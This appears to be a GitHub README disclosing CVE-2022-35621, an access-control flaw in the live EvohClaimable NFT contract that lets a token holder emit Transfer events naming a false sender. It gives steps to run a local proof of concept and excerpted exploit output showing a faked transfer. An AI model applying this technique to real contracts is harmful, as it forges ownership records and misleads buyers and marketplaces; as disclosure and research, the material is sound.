MacherCS / **CVE_Evoh_Contract** Public archive

These are the materials about the vulnerability of Evoh NFT contract

0 stars 0 forks

README.md

CVE_Evoh_Contract

These are the materials about the vulnerability of Evoh NFT contract

CVE-ID

CVE-2022-35621

PRODUCT

`EvohClaimable` is a public smart contract running in the Ethereum blockchain. The source code of this contract is published in https://github.com/evoh-nft/evoh-erc721 by its developer. The information of the deployed contract is in https://etherscan.io/address/0xf883ab97ed3d5a9af062a65b6d4437ea015efd8a.

This contract is responsible for managing the expensive NFTs (Evoh Llama Frens), such as minting them, transfering them, etc.. These NFTs are sold on the famous NFT market Opensea here, and the total volume has been 39 ETH ($47435.50 USD) at the time when I write this document. This NFT project is still active now.

Version

This vulnerability is related to the latest version of this smart contract. The sha256 hash code of the smart contract is fa2084d5abca91a62ed1d2f1cad3ec318e6a9a2d7f1510a00d898737b05f48ae. Check it in the information of the deployed contract in https://etherscan.io/address/0xf883ab97ed3d5a9af062a65b6d4437ea015efd8a.

PROBLEM TYPE

Access control vulnerability

DESCRIPTION

Since in ERC-721 based NFT contract, when the contract executes the functions responsible for transferring NFT, such as **transferFrom(address _from, address _to, uint256 _tokenId)** or **safeTransferFrom(address _from, address _to, uint256 _tokenId)**, the contract will transfer the NFT whose ID is **_tokenId** from account **_from** to account **_to**. In addition, these functions should emit the specific event **Transfer(address _from, address _to, uint256 _tokenId)** to blockchain system, which enables the off-chain applications (such as NFT market, DApp) to perceive the transfer behaviour of NFT and synchronize it from blockchain. For example, the emitted event will be displayed in the market to inform user "the NFT whose ID is **_tokenId** is transfered from **_from** to **_to**". For example, in the page, we can find the event displayed in the Item Activity tab.

This contract does not verify the parameter '_from' of transferFrom and safeTransferFrom functions need to be the owner of NFT '_tokenId'. This is a defect about access control: if the attacker Bob has the NFT '_tokenId', he can transfer '_tokenId' to Mike but he sets the the parameter '_from' of transferFrom function to be Alice. Then transferFrom function will transfer the '_tokenId' from Bob to Mike, but the emitted event will announce Alice transfers the NFT '_tokenId' to Mike. That is, Bob is able to control the seller of NFT with any values, which can fake NFT transfer. Further, even if Bob is not the owner of NFT '_tokenId', he can launch this attack if he is approved to sell the NFT. Therefore, this defect can lead to the sleep mint attack.

I also provide a PoC to reproduce this attack by deploying the same contract on the ganache. The steps to execute the PoC are as follow:

1. activate the environment

```
$ git clone https://github.com/MacherCS/CVE_Evoh_Contract.git
$ cd CVE_Evoh_Contract
$ sudo docker build -t machercs/ganache:v1 .
$ sudo docker run --network host -it machercs/ganache:v1
```

2. exploit the vulnerability and emit wrong event to announce fake transfer.

```
[+] The address of Bob is: 0x90F8bf6A479f320ead074411a4B0e7944Ea8c9C1
[+] The address of Alice is: 0xFFcf8FDEE72ac11b5c542428B35EEF5769C409f0
[+] The address of Mike is: 0x22d491Bde2303f2f43325b2108D26f1eAbA1e32b
...
[+] Bob mints NFT whose ID is 0
...
[+] The owner of NFT 0 is: 0x90F8bf6A479f320ead074411a4B0e7944Ea8c9C1
...
[+] Exploit end. The NFT 0 is transferred by Bob to Mike.
[+] The owner of NFT 0 is: 0x22d491Bde2303f2f43325b2108D26f1eAbA1e32b
[+] The Transfer events in blockchain:
...
{
  logIndex: 0,
  transactionIndex: 0,
  transactionHash: '0x5f29ad15f94935e6246d70fbff2fba919793a9163427e631620ea8ff8a48bc
  blockHash: '0xa736e1b756066edf8186d497a21045a5a055c336055c4462de70a734863cf8a4',
  blockNumber: 6,
  address: '0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab',
  type: 'mined',
  removed: false,
  id: 'log_8740b08f',
  returnValues: Result {
```

```
    '0': '0xFFcf8FDEE72ac11b5c542428B35EEF5769C409f0',
    '1': '0x22d491Bde2303f2f43325b2108D26f1eAbA1e32b',
    '2': '0',
    _from: '0xFFcf8FDEE72ac11b5c542428B35EEF5769C409f0',
    _to: '0x22d491Bde2303f2f43325b2108D26f1eAbA1e32b',
    _tokenId: '0'
  },
  event: 'Transfer',
  signature: '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef',
  raw: {
    data: '0x',
    topics: [
      '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef',
      '0x000000000000000000000000ffcf8fdee72ac11b5c542428b35eef5769c409f0',
      '0x00000000000000000000000022d491bde2303f2f43325b2108d26f1eaba1e32b',
      '0x0000000000000000000000000000000000000000000000000000000000000000'
    ]
  }
}
[+] Transfer(from:0xFFcf8FDEE72ac11b5c542428B35EEF5769C409f0, to:0x22d491Bde2303f2f4
[+] The last event records the NFT 0 is transferred from Alice to Mike (instead of f
```

Additional explanation

For the detail explanation of the exploit, please refer to the annotation of *poc.js* file. The content of *evoh-erc721-master* folder is the source code of `EvohClaimable` contract. The *CVE_Evoh_Contract/evoh-erc721-master/contracts/Claimable.sol* is the code of deployed contract.

Releases

No releases published

Packages

No packages published

Contributors 2

MacherCS Macher

bibubibubi

Languages